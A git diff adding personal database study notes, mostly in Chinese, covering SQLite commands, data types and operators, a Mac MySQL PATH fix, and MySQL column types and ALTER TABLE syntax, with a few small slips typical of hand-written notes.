表时可使用的各种数据类型名称,同时也显示了相应的亲和类型: + +亲和类型: 数据类型 + +* **INTEGER**: + * INT + * INTEGER + * TINYINT + * SMALLINT + * MEDIUMINT + * BIGINT + * UNSIGNED BIG INT + * INT2 + * INT8 + +* **TEXT**: + * CHARACTER(20) + * VARCHAR(255) + * VARYING CHARACTER(255) + * NCHAR(55) + * NATIVE CHARACTER(70) + * NVARCHAR(100) + * TEXT + * CLOB + +* **NONE**: + * BLOB + * no datatype specified + +* **REAL**: + * REAL + * DOUBLE + * DOUBLE PRECISION + * FLOAT + +* **NUMERIC**: + * NUMERIC + * DECIMAL(10,5) + * BOOLEAN + * DATE + * DATETIME + +### Boolean 数据类型 +SQLite 没有单独的 Boolean 存储类。相反,布尔值被存储为整数 0(false)和 1(true)。 + +### Date 与 Time 数据类型 +SQLite 没有一个单独的用于存储日期和/或时间的存储类,但 SQLite 能够把日期和时间存储为 `TEXT`、`REAL` 或 `INTEGER` 值。 + +| 存储类 | 日期格式 | +| ----------- | -------------------------------------------------------------- | +| **TEXT** | 格式为 `YYYY-MM-DD` `HH:MM:SS.SSS` 的日期。 | +| **REAL** | 从公元前 4714 年 11 月 24 日格林尼治时间的正午开始算起的天数。 | +| **INTEGER** | 从 `1970-01-01 00:00:00 UTC` 算起的秒数。 | + +您可以以任何上述格式来存储日期和时间,并且可以使用内置的日期和时间函数来自由转换不同格式。 + +## SQLite 创建数据库 + +#### sqlite3 创建新的 SQLite 数据库 +`sqlite3`: 创建新的 SQLite 数据库。您不需要任何特殊的权限即可创建一个数据。 + +**实例**: + +``` +$sqlite3 testDB.db +SQLite version 3.7.15.2 2013-01-09 11:53:05 +Enter ".help" for instructions +Enter SQL statements terminated with a ";" +sqlite> +``` +通常情况下,数据库名称在 RDBMS 内应该是唯一的。 +在当前目录下创建一个文件,一个新的数据库 `testDB.db`。该文件将被 SQLite 引擎用作数据库。 +`sqlite3` 命令在成功创建数据库文件之后,将提供一个 `sqlite>` 提示符。 + +#### .databases 检查它是否在数据库列表中 +`.databases`: 一旦数据库被创建,使用 SQLite 的 `.databases` 命令来检查它是否在数据库列表中,如下所示: + +``` +sqlite>.databases +seq name file +--- --------------- ---------------------- +0 main /home/sqlite/testDB.db +``` + +#### .quit 退出 +`.quit` 命令: 退出 sqlite 提示符,如下所示: + +``` +sqlite>.quit +$ +``` + +#### .dump 命令 导出完整的数据库 +`.dump`: 在命令提示符中使用 SQLite `.dump` 点命令来导出完整的数据库在一个文本文件中,如下所示: + +``` +$sqlite3 testDB.db .dump > testDB.sql +``` +转换整个`testDB.db`数据库的内容到 SQLite 的语句中,并将其转储到 ASCII 文本文件 `testDB.sql` 中。 + + +``` +$sqlite3 testDB.db < testDB.sql +``` +您可以通过简单的方式从生成的`testDB.sql`恢复,如下所示: +此时的数据库是空的,一旦数据库中有表和数据,您可以尝试上述两个程序。 + + +## SQLite 附加数据库 +假设这样一种情况,当在同一时间有多个数据库可用,您想使用其中的任何一个。 +`ATTACH DATABASE` 语句: 用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。 + +``` +ATTACH DATABASE 'DatabaseName' As 'Alias-Name'; +``` + +如果数据库尚未被创建,上面的命令将创建一个数据库, +如果数据库已存在,则把`数据库文件`名称与`逻辑数据库Alias-Name` 绑定在一起。 + +``` +sqlite> ATTACH DATABASE 'testDB.db' as 'TEST'; +sqlite> .database //使用 SQLite .database 命令来显示附加的数据库。 +seq name file +--- --------------- ---------------------- +0 main /home/sqlite/testDB.db +2 test /home/sqlite/testDB.db +``` +附加一个现有的数据库 `testDB.db`. +数据库名称 `main` 和 `temp` 被保留用于`主数据库`和存储`临时表`及其他`临时数据对象的数据库`。 +这两个数据库名称可用于每个数据库连接,且不应该被用于附加,否则将得到一个警告消息,如下所示: + +``` +sqlite> ATTACH DATABASE 'testDB.db' as 'TEMP'; +Error: database TEMP is already in use +sqlite> ATTACH DATABASE 'testDB.db' as 'main'; +Error: database main is already in use; +``` + +## SQLite 分离数据库 +`DETACH DTABASE` 语句: 用来把命名数据库从一个数据库连接分离和游离出来,连接是之前使用 ATTACH 语句附加的。 +如果同一个数据库文件已经被附加上多个别名,`DETACH` 命令将只断开给定名称的连接,而其余的仍然有效。您无法分离 `main` 或 `temp` 数据库。 +如果数据库是在内存中或者是临时数据库,则该数据库将被摧毁,且内容将会丢失。 + +``` +DETACH DATABASE 'Alias-Name'; +//Alias-Name与之前 ATTACH 语句附加数据库时所用到的别名相同。 +``` + +``` +sqlite> ATTACH DATABASE 'testDB.db' as 'test'; +sqlite> ATTACH DATABASE 'testDB.db' as 'currentDB'; + +sqlite>.databases +seq name file +--- --------------- ---------------------- +0 main /home/sqlite/testDB.db +2 test /home/sqlite/testDB.db +3 currentDB /home/sqlite/testDB.db + +sqlite> DETACH DATABASE 'currentDB'; + +sqlite>.databases +seq name file +--- --------------- ---------------------- +0 main /home/sqlite/testDB.db +2 test /home/sqlite/testDB.db + +//把 'currentDB' 从 testDB.db 中分离出来 +//如果检查当前附加的数据库,testDB.db 仍与 'test' 和 'main' 保持连接。 +``` + +## SQLite 创建表 +`CREATE TABLE` 语句: 用于在任何给定的数据库创建一个新表。 +创建基本表,涉及到命名表、定义列及每一列的数据类型。 + +**语法**: +``` +CREATE TABLE database_name.table_name( + column1 datatype PRIMARY KEY(one or more columns), + column2 datatype, + column3 datatype, + ..... + columnN datatype, +); +``` +CREATE TABLE 是告诉数据库系统创建一个新表的关键字。 +CREATE TABLE 语句后跟着表的唯一的名称或标识。 +您也可以选择指定带有 `table_name` 的 `database_name`。 + + +``` +//创建一个 `COMPANY 表`,`ID` 作为主键,`NOT NULL` 的约束表示在表中创建纪录时这些字段不能为 `NULL`: + +sqlite> CREATE TABLE COMPANY( + ID INT PRIMARY KEY NOT NULL, + NAME TEXT NOT NULL, + AGE INT NOT NULL, + ADDRESS CHAR(50), + SALARY REAL +); + +//让我们再创建一个表,我们将在随后章节的练习中使用: + +sqlite> CREATE TABLE DEPARTMENT( + ID INT PRIMARY KEY NOT NULL, + DEPT CHAR(50) NOT NULL, + EMP_ID INT NOT NULL +); + +sqlite>.tables +COMPANY DEPARTMENT +//这里可以看到我们刚创建的两张表 COMPANY、 DEPARTMENT。 + +//使用 SQLite .schema 命令得到表的完整信息 +sqlite>.schema COMPANY +CREATE TABLE COMPANY( + ID INT PRIMARY KEY NOT NULL, + NAME TEXT NOT NULL, + AGE INT NOT NULL, + ADDRESS CHAR(50), + SALARY REAL +); +``` + +## SQLite 运算符 +SQLite 运算符: 运算符是一个保留字或字符,主要用于 SQLite 语句的 WHERE 子句中执行操作,如比较和算术运算。运算符用于指定 SQLite 语句中的条件,并在语句中连接多个条件。 + +* 算术运算符 +* 比较运算符 +* 逻辑运算符 +* 位运算符 + +### SQLite 算术运算符 +假设变量 a=10,变量 b=20,则: + +| 运算符 | 描述 | 实例 | +| ------ | --------------------------------------- | ----------------- | +| `+` | 加法 - 把运算符两边的值相加 | a + b 将得到 30 | +| `-` | 减法 - 左操作数减去右操作数 | a - b 将得到 -10 | +| `*` | 乘法 - 把运算符两边的值相乘 | a * b 将得到 200 | +| `/` | 除法 - 左操作数除以右操作数 | b / a 将得到 2 | +| `%` | 取模 - 左操作数除以右操作数后得到的余数 | b % a will give 0 | + +``` +sqlite> .mode line +sqlite> select 10 + 20; +10 + 20 = 30 + + +sqlite> select 10 - 20; +10 - 20 = -10 + + +sqlite> select 10 * 20; +10 * 20 = 200 + + +sqlite> select 10 / 5; +10 / 5 = 2 + + +sqlite> select 12 % 5; +12 % 5 = 2 +``` + +### SQLite 比较运算符 +假设变量 a=10,变量 b=20,则: + +| 运算符 | 描述 | 实例 | +| ------ | -------------------------------------------------------------- | ----------------- | +| `==` | 检查两个操作数的值是否相等,如果相等则条件为真。 | (a == b) 不为真。 | +| `= ` | 检查两个操作数的值是否相等,如果相等则条件为真。 | (a = b) 不为真。 | +| `!=` | 检查两个操作数的值是否不相等,如果不相等则条件为真。 | (a != b) 为真。 | +| `<>` | 检查两个操作数的值是否不相等,如果不相等则条件为真。 | (a <> b) 为真。 | +| --- | --- | --- | +| `>` | 检查左操作数的值是否大于右操作数的值,如果是则条件为真。 | (a > b) 不为真。 | +| `<` | 检查左操作数的值是否小于右操作数的值,如果是则条件为真。 | (a < b) 为真。 | +| `>=` | 检查左操作数的值是否大于等于右操作数的值,如果是则条件为真。 | (a >= b) 不为真。 | +| `<=` | 检查左操作数的值是否小于等于右操作数的值,如果是则条件为真。 | (a <= b) 为真。 | +| --- | --- | --- | +| `!<` | 检查左操作数的值是否不小于右操作数的值,如果不小于则条件为真。 | (10 !< 20) 为假。 | +| `!>` | 检查左操作数的值是否不大于右操作数的值,如果不大于则条件为真。 | (a !> b) 为真。 | + +**实例** + +``` +//假设 COMPANY 表有以下记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +3 Teddy 23 Norway 20000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 +``` + +下面的实例演示了各种 SQLite 比较运算符的用法。 + +``` +sqlite> SELECT * FROM COMPANY WHERE SALARY > 50000; +//SELECT 语句列出了 SALARY 大于 50,000.00 的所有记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 + +sqlite> SELECT * FROM COMPANY WHERE SALARY = 20000; +//SELECT 语句列出了 SALARY 等于 20,000.00 的所有记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +3 Teddy 23 Norway 20000.0 + +sqlite> SELECT * FROM COMPANY WHERE SALARY != 20000; +//下面的 SELECT 语句列出了 SALARY 不等于 20,000.00 的所有记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +2 Allen 25 Texas 15000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 + +sqlite> SELECT * FROM COMPANY WHERE SALARY <> 20000; +//下面的 SELECT 语句列出了 SALARY 不等于 20,000.00 的所有记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +2 Allen 25 Texas 15000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 + +sqlite> SELECT * FROM COMPANY WHERE SALARY >= 65000; +//下面的 SELECT 语句列出了 SALARY 大于等于 65,000.00 的所有记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +``` + +### SQLite 逻辑运算符 +下面是 SQLite 中所有的逻辑运算符列表。 + +| **运算符** | 描述 | +| ---------- | ---------------------------------------------------------------------------------------- | +| `AND` | 允许在一个 SQL 语句的 WHERE 子句中的多个条件的存在。 | +| `EXISTS` | 用于在满足一定条件的指定表中搜索行的存在。 | +| --- | --- | +| `IN` | 用于把某个值与一系列指定列表的值进行比较。 | +| `NOT IN` | IN 运算符的对立面,用于把某个值与不在一系列指定列表的值进行比较。 | +| `BETWEEN` | 用于在给定最小值和最大值范围内的一系列值中搜索值。 | +| --- | --- | +| `LIKE` | 用于把某个值与使用`通配符运算符`的相似值进行比较。 | +| `GLOB` | 用于把某个值与使用`通配符运算符`的相似值进行比较。 | +| -- | **GLOB 与 LIKE 不同之处在于,它是大小写敏感的。** | +| NOT | 是所用的逻辑运算符的对立面。比如 NOT EXISTS、NOT BETWEEN、NOT IN,等等。它是否定运算符。 | +| OR | 用于结合一个 SQL 语句的 WHERE 子句中的多个条件。 | +| IS NULL | NULL 运算符用于把某个值与 NULL 值进行比较。 | +| IS | 与 = 相似。 | +| IS NOT | 与 != 相似。 | +| ` | | ` | 连接两个不同的字符串,得到一个新的字符串。 | +| UNIQUE | 搜索指定表中的每一行,确保唯一性(无重复)。 | + +实例 + +``` +假设 COMPANY 表有以下记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +3 Teddy 23 Norway 20000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 + + + +sqlite> SELECT * FROM COMPANY WHERE AGE >= 25 AND SALARY >= 65000; +// SELECT 语句列出了 AGE 大于等于 25 且工资大于等于 65000.00 的所有记录: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 + +sqlite> SELECT * FROM COMPANY WHERE AGE >= 25 OR SALARY >= 65000; +// SELECT 语句列出了 AGE 大于等于 25 或工资大于等于 65000.00 的所有记录: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 + +sqlite> SELECT * FROM COMPANY WHERE AGE IS NOT NULL; +//SELECT 语句列出了 AGE 不为 NULL 的所有记录, +//结果显示所有的记录,意味着没有一个记录的 AGE 等于 NULL: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +3 Teddy 23 Norway 20000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 + +sqlite> SELECT * FROM COMPANY WHERE NAME LIKE 'Ki%'; +//SELECT 语句列出了 NAME 以 'Ki' 开始的所有记录,'Ki' 之后的字符不做限制: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +6 Kim 22 South-Hall 45000.0 + +sqlite> SELECT * FROM COMPANY WHERE NAME GLOB 'Ki*'; +//SELECT 语句列出了 NAME 以 'Ki' 开始的所有记录,'Ki' 之后的字符不做限制: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +6 Kim 22 South-Hall 45000.0 + +sqlite> SELECT * FROM COMPANY WHERE AGE IN ( 25, 27 ); +//SELECT 语句列出了 AGE 的值为 25 或 27 的所有记录: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +2 Allen 25 Texas 15000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 + + +sqlite> SELECT * FROM COMPANY WHERE AGE NOT IN ( 25, 27 ); +//SELECT 语句列出了 AGE 的值既不是 25 也不是 27 的所有记录: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +3 Teddy 23 Norway 20000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 + +sqlite> SELECT * FROM COMPANY WHERE AGE BETWEEN 25 AND 27; +//SELECT 语句列出了 AGE 的值在 25 与 27 之间的所有记录: +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +2 Allen 25 Texas 15000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 + +sqlite> SELECT AGE FROM COMPANY + WHERE EXISTS (SELECT AGE FROM COMPANY WHERE SALARY > 65000); +//SELECT 语句使用 SQL 子查询, +//子查询查找 SALARY > 65000 的带有 AGE 字段的所有记录, +//后边的 WHERE 子句与 EXISTS 运算符一起使用,列出了外查询中的 AGE 存在于子查询返回的结果中的所有记录: +AGE +---------- +32 +25 +23 +25 +27 +22 +24 + + +sqlite> SELECT * FROM COMPANY + WHERE AGE > (SELECT AGE FROM COMPANY WHERE SALARY > 65000); +//SELECT 语句使用 SQL 子查询, +//子查询查找 SALARY > 65000 的带有 AGE 字段的所有记录,后边的 WHERE 子句与 > 运算符一起使用,列出了外查询中的 AGE 大于子查询返回的结果中的年龄的所有记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +``` + +### SQLite 位运算符 +位运算符作用于位,并逐位执行操作。真值表 `&`, `| `, `~` : + +``` +0&0=0 +1&0=0 +0&1=0 +1&1=1 + +0|0=0 +1|0=1 +0|1=1 +1|1=1 + +~0=1 +~1=0 + +假设如果 A = 60,且 B = 13,现在以二进制格式,它们如下所示: +A = 0011 1100 +B = 0000 1101 +----------------- +A&B = 0000 1100 +A|B = 0011 1101 +~A = 1100 0011 +``` + +下表中列出了 SQLite 语言支持的位运算符。假设变量 A=60,变量 B=13,则: + +| 运算符 | 描述 | +| ----------------------- | ---------------------------------------------------------------- | +| **& 二进制 AND 运算符** | 如果同时存在于两个操作数中,二进制 AND 运算符复制一位到结果中 | +| --- | (A & B) 将得到 12,即为 0000 1100 | +| ** | 二进制 OR 运算符** | 如果存在于任一操作数中,二进制 OR 运算符复制一位到结果中 | +| --- | (A | B) 将得到 61,即为 0011 1101 | +| **~ 二进制补码运算符** | 一元运算符,具有"翻转"位效应,即0变成1,1变成0。 | +| --- | A = 0011 1100 | +| --- | (~A ) 将得到 -61,即为 1100 0011,一个有符号二进制数的补码形式。 | +| **<< 二进制左移运算符** | 二进制左移运算符。左操作数的值向左移动右操作数指定的位数。 | +| --- | A = 0011 1100 | +| --- | A << 2 将得到 240,即为 1111 0000 | +| **>> 二进制右移运算符** | 左操作数的值向右移动右操作数指定的位数。 | +| --- | A = 0011 1100 | +| --- | A >> 2 将得到 15,即为 0000 1111 | + +``` +实例 + +sqlite> .mode line +sqlite> select 60 | 13; +60 | 13 = 61 + +sqlite> select 60 & 13; +60 & 13 = 12 + +sqlite> select (~60); +(~60) = -61 + +sqlite> select (60 << 2); +(60 << 2) = 240 + +sqlite> select (60 >> 2); +(60 >> 2) = 15 +``` + + +## SQLite 高级教程 +SQLite PRAGMA +### SQLite 约束 +* **约束**: + * 在表的数据列上强制执行的规则。 + * 用来限制可以插入到表中的数据类型。这确保了数据库中数据的准确性和可靠性。 + * 约束可以是列级或表级。*列级*约束仅适用于列,*表级*约束被应用到整个表。 +以下是在 SQLite 中常用的约束。 +##### SQL **Not null** 约束 +* `NOT NULL` 约束 + * 默认情况下,*列*可以保存 NULL 值。 + * 强制*列*不接受 NULL 值。 + * 强制字段始终包含值。如果不向字段添加值,就无法插入新记录或者更新记录。 + * NULL 与没有数据是不一样的,它代表着未知的数据。 +#### SQL Primary KEY 约束 +* **PRIMARY KEY** + * 约束唯一标识数据库表中的每个记录。 + * 在一个表中可以有多个 UNIQUE 列,但只能有一个主键。在设计数据库表时,主键是很重要的。主键是唯一的 ID。 + * 我们使用主键来引用表中的行。可通过把主键设置为其他表的外键,来创建表之间的关系。 + * 由于"长期存在编码监督",在 SQLite 中,主键可以是 NULL,这是与其他数据库不同的地方。 + * 主键是表中的一个字段,唯一标识数据库表中的各行/记录。主键必须包含唯一值。主键列不能有 NULL 值。 + * 一个表只能有一个主键,它可以由一个或多个字段组成。当多个字段作为主键,它们被称为复合键。 + * 如果一个表在任何字段上定义了一个主键,那么在这些字段上不能有两个记录具有相同的值。 + + +#### SQL Foreign KEY 约束 +#### DEFAULT 约束:当某列没有指定值时,为该列提供默认值。 +#### UNIQUE 约束:确保某列中的所有值是不同的。 +* **UNIQUE** + * 约束防止在一个特定的列存在两个记录具有相同的值。 + * 在 COMPANY 表中,例如,您可能要防止两个或两个以上的人具有相同的年龄。 + + +#### CHECK 约束:CHECK 约束确保某列中的所有值满足一定条件。 +SQLite Join +SQLite Unions 子句 +SQLite 别名 +SQLite 触发器 +SQLite 索引 +SQLite Indexed By +SQLite Alter 命令 +SQLite Truncate Table +SQLite 视图 +SQLite 事务 +SQLite 子查询 +SQLite Autoincrement +SQLite 注入 +SQLite Explain +SQLite Vacuum +SQLite 日期 & 时间 +SQLite 常用函数 + +## SQLite 接口 +SQLite - C/C++ +SQLite - Java +SQLite - PHP +SQLite - Perl +SQLite - Python diff --git a/_posts/00CodeNote/language/SQL/install_SQL.md b/_posts/00CodeNote/language/SQL/install_SQL.md new file mode 100644 index 00000000000..69ebd1f5e8b --- /dev/null +++ b/_posts/00CodeNote/language/SQL/install_SQL.md @@ -0,0 +1,21 @@ +# SQL 安装问题 + +## Mac安装mysql问题之-bash: mysql: command not found +mysql -u root -p +-bash: mysql: command not found + +解决方法: + +* 在你的Mac终端,输入: `cd ~` //进入~文件夹 +* 然后输入:`touch .bash_profile` +* 回车执行后, +* 再输入:`open -e .bash_profile` +* 这时候会出现一个TextEdit,如果以前没有配置过环境变量,呈现在你眼前的就是一个空白文档,你需要在这个空白文档里输入:`export PATH=$PATH:/usr/local/mysql/bin` +* 然后关闭这个TextEdit +* 回到终端面板,输入:`source ~/.bash_profile` + +以上,问题解决 + +再输入:mysql -u root -p +回车后就会显示:Enter password: +正确输入你的密码 diff --git a/_posts/00CodeNote/language/SQL/sql.md b/_posts/00CodeNote/language/SQL/sql.md new file mode 100644 index 00000000000..a1dda4f4850 --- /dev/null +++ b/_posts/00CodeNote/language/SQL/sql.md @@ -0,0 +1,377 @@ +# SQL + +[toc] + +## SQL + +SQL statements usually are divided into two categories: + +* Data Definition Language (DDL) + * define relation/table structures including the schema for each relation, the domain of values associated with each attribute, and integrity constraints. + * Example, CREATE DATABASE, ALTER DATABASE, DROP DATABASE, CREATE TABLE, ALTER TABLE, DROP TABLE, TRUNCATE TABLE, and so on. + * DDL statements do `COMMIT` automatically +* Data Manipulation Language (DML) + * used to *retrieve, insert, update, and delete* data in database. + * Example, SELECT, INSERT, UPDATE, DELETE, and MERGE + * DML may not do a COMMIT automatically in some RDBMS, like Oracle. + * have to explicitly issue the `COMMIT` statement + + + +## database security +https://www.aseatw.com/html/Present.aspx?id=DatabaseFundamentals&num=26 + +the first line of database for a database: + +* **change the default user password** immediately +* **lock** unused user account. +* **enforce** stronger passwords. +* **remove** public accounts, or all access from all accounts. +* **choose** *domain authentication* or *database authentication* for your database users, and stick with it. +* **Examine** roles and groups closely. +* **Protect** administrative functions from users. +* **divide** database admin duties. + +# mysql +table - database - server +## for database +### choose database: + +mysql> `show databases`; ++--------------------+ +| Database | ++--------------------+ +| information_schema | +| first | +| mysql | +| performance_schema | +| sys | ++--------------------+ +5 rows in set (0.02 sec) + +mysql> `use` test1; +database changed + +mysql> `show tables`; ++-----------------+ +| Tables_in_first | ++-----------------+ +| parrots | +| student | ++-----------------+ +2 rows in set (0.00 sec) + +### create database +mysql> `create database` test0 `charset utf8`; +Query OK, 1 row affected (0.01 sec) + +mysql> `show tables`; +Empty set (0.00 sec) + +### drop database +mysql> `drop database` test0; +Query OK, 0 rows affected (0.03 sec) + +### change name? +mysql数据库不能改名 +只能呢该表,列名字 + +## for table +### create table +建表其实就是声明表头列的过程 + +mysql> `create table` stu( +id `int`, +name `varchar(10)`) +`engine myisam charset utf8`; +Query OK, 0 rows affected (0.04 sec) + +mysql> `show tables`; ++-----------------+ +| Tables_in_test1 | ++-----------------+ +| stu | ++-----------------+ +1 row in set (0.00 sec) + +#### 三大列类型 + +* 数值类型 + * 整型: 字节越多,存的范围越大。 + * int默认是有符号的。 + * *unsigned*:无符号, 无正负[0,255] + * *M*: 必须跟zerofill才有意义,单独使用无意义。表示补0的宽度 + * *zerofill*: 补0,默认unsigned。 + * **tinyint**:1字节,正负[-128,+127] 或 无正负[0,255] + * 1 byte = 8 bits, 00000000 - 111111111 + * 计算机为了表示正负数,最高位最左侧的0/1当成符号。 + * 用补码规则 + * 0 0000000 = 0 + * 0 1111111 = 127 + * 1 0000000 = -1 + * 1 1111111 = 128 + * [-2^7,2^7-1] + * **smallint**:2字节,16bits,3万 + * [-2^15,2^15-1] + * **mediumint**:3字节,800+万 + * **int**:4字节,40+亿 + * **bigint**:8字节 + * XX `int` not null default 0; + * XX `int` `(5)` `zerofill` not null default 0; + + * 浮点数: + * **float (M,D)**: + * **decimal (M,D)**:定点 + * M:精度,总位数, D: 标度,小数点后面 + * 正负的9999.99 + * `XX decimal(6,2)` 总共6位数,小数点后1位,正负都可以。 + * float 能存10^38,10^-38. + * M<=24 4bytes, xor 8 bytes + * 定点是把整数部分和小数部分分开存的,比float精确。float取出时有可能不一样!!像账户银行敏感的,建议用decimal。 + +mysql> `insert into` account values + -> (1, 1234567.23,1234567.23); +Query OK, 1 row affected (0.00 sec) + +mysql> `select` * `from` account; ++----+------------+------------+ +| id | acc1 | acc2 | ++----+------------+------------+ +| 1 | 1234567.25 | 1234567.23 | ++----+------------+------------+ +2 rows in set (0.00 sec) + +* 字符串型 + * *M 限制的是字符数不是字节,6个utf8或其他任何都是6个*。 + * **char(M)** 定长字符串 M,[0,255] + * 存储定长,容易计算文件指针的移动量,*速度更快* + * 不论够不够长,实际都占据N个长度 + * char(N),如果不够N个长度,用空格在末尾补齐长度 + * 取出时再把右侧空格去掉(*字符串本身右侧有空格将会丢失*) + * 宽度M,可存字符M,实存字符i(i<=M), + * 实占空间:M + * 定长的利用率:M<=可能达到100% + * 会有浪费 + * **varchar(M)** 变长字符串 M,[0,65535] + * 不用空格补气,但是数据前面有1或2个字节来记录开头 + * 实占空间:i+(1或2个字节) + * 变长的利用率:i+(1或2个字节)<100%, 不可能100% + * 和text差不多,但是比他慢一点 + * **text**: + * 不用加默认值,存较大的文本段,搜索速度慢。 + * 一万以内可以用varchar + * **mediumblob** + * **mediumtext**:一千多万 + * **longblob** + * **longtext** + * **blob**: + * 是二进制类型,用来储存图像音频等二进制信息,0-255都有可能出现。 + * 意义在于防止因为字符集的问题,导致信息丢失 + * 比如一张图片中有0xFF字节,这个在ascii字符集中人文非法,在入库是被过滤了。如果是二进制,就是原原本本存进去,拿出来,隐形防范字符集的问题导致数据流失 + +``` +//char varchar 区别 +mysql> create table test( + -> char(6) not null default'', + -> varchar(6) not null default'') + -> engine myisam charset utf8; + +mysql> insert into test2 values ('aa ','aa '); +mysql> select concat(ca,'!'),concat(vca,'!') from test2; ++----------------+-----------------+ +| concat(ca,'!') | concat(vca,'!') | ++----------------+-----------------+ +| hello! | hello! | +| aa! | aa ! | ++----------------+-----------------+ +2 rows in set (0.01 sec) +``` + +``` +//text 不需要默认值 +mysql> create table test3( + -> article **text** not null default'' + -> )engine myisam charset utf8; +ERROR 1101 (42000): BLOB, TEXT, GEOMETRY or JSON column 'article' can't have a default value + +mysql> create table test3( + -> article text); +Query OK, 0 rows affected (0.05 sec) + +mysql> alter table test3 add img blob; +Query OK, 0 rows affected (0.04 sec) +Records: 0 Duplicates: 0 Warnings: 0 +``` + +``` +//blob +mysql> desc test3; ++--------+------+------+-----+---------+-------+ +| Field | Type | Null | Key | Default | Extra | ++--------+------+------+-----+---------+-------+ +| article | text | YES | | NULL | | +| img | blob | YES | | NULL | | ++--------+------+------+-----+---------+-------+ + +mysql> insert into test3 + -> values('qingqiongmaima','zhangfeiganlu'); + +mysql> select * from test3; ++----------------+---------------+ +| article | img | ++----------------+---------------+ +| qingqiongmaima | zhangfeiganlu | ++----------------+---------------+ + +``` + +* 时间类型 + * 比起用char来使用各省时间空间。 + * **date**:3个字节 + * 1934-04-12 + * 范围:1000-01-01到9999-12-31 + * **datetime**: 8个字节 + * YYYY-mm-dd HH:ii:ss + * **time**: 3个字节 + * 20:20:20 + * **timestamp**:4个字节 + * 可以取当前的时间 + * **year**: 1个字节 + * [0000, 1901,2155] + * 可以简化成两位数 year(2) + +``` +mysql> create table test4( + -> sname varchar(20) not null default'', + -> logintime datetime not null, + -> ts timestamp default current_timestamp + -> )engine myisam charset utf8; +``` + +`primery key` +`auto_increment` +`not null` +`default '' ` +`engine myisam/innodb/bdb charset utf8/gbk/latin1...` + +``` +create table test5( +id int unsigned primary key not null default, +username char(10) not null default 'admimn', +gender char(1) not null, +weight tinyint unsigned not null, +birth date not null, +salary decimal(8,2) unsigned not null, +lastlogin datetime not null, +intro char(1500)not null + +//除username和intro之外都是定长 +//都是定长的话 搜索会快很多 +//*优化:就是空间换时间* +//username varchar(10) 可以有优化 char(10) +//intro varchar(1500) 变 char(1500)就浪费太多了 +//*优化:把常用到的信息,优先考虑效率,把不常用比较占空间的信息,放到附表* +//把intro单独拿出来,改变次数也很少 + +create table intro( +id int unsigned primary key not null default, +username char(10) not null default 'admimn', +lastlogin datetime not null, +intro char(1500)not null + +create table member( +id int unsigned auto_increment primary key, +username char(20) not null default '', +gender char(1) not null default '', +weight tinyint unsigned not null default 0, +birth date not null, +salary decimal(8,2) not null default 0.00, +lastlogin int unsigned not null default 0) +engine myisam charset utf8; +``` + +### 删除表 `drop table table_A` +mysql> `drop table` stu; +//表就不在了 + +### 改名 `rename table table_A to table_B` +mysql> `rename table` stu `to` newstu; + + +### 修改表 +#### 添加列 `alter table table_A add Z (after/first) X` +//加在最后 +mysql> `alter table` class1 `add` score2 tinyint unsigned not null default 0; + +//加在指定位置 +mysql> `alter table` class1 `add` score1 tinyint unsigned not null default 0 `after` id; + +//加在第一位 +mysql> `alter table` class1 `add` score1 tinyint unsigned not null default 0 `first`; + +#### 删除列 `alter table table_A drop X` +mysql> `alter table` class1 `drop` score2; + +#### 修改列参数 `alter table table_A modify X .../ Change X TO Y...) ` +//不能改列名 +mysql> `alter table` class1 `modify` score2 int unsigned not null default 100; + +//可以修改列名 +mysql> `alter table` class1 `change` score2 `to` score234 int unsigned not null default 100; + +//如果列类型改变了,导致数据保存不下来 +//一般会往大了该 +//1. 丢数据 +//2. 严格模式下,不能改 + + +### 查找 `desc table_A` +mysql> `desc` table_name; 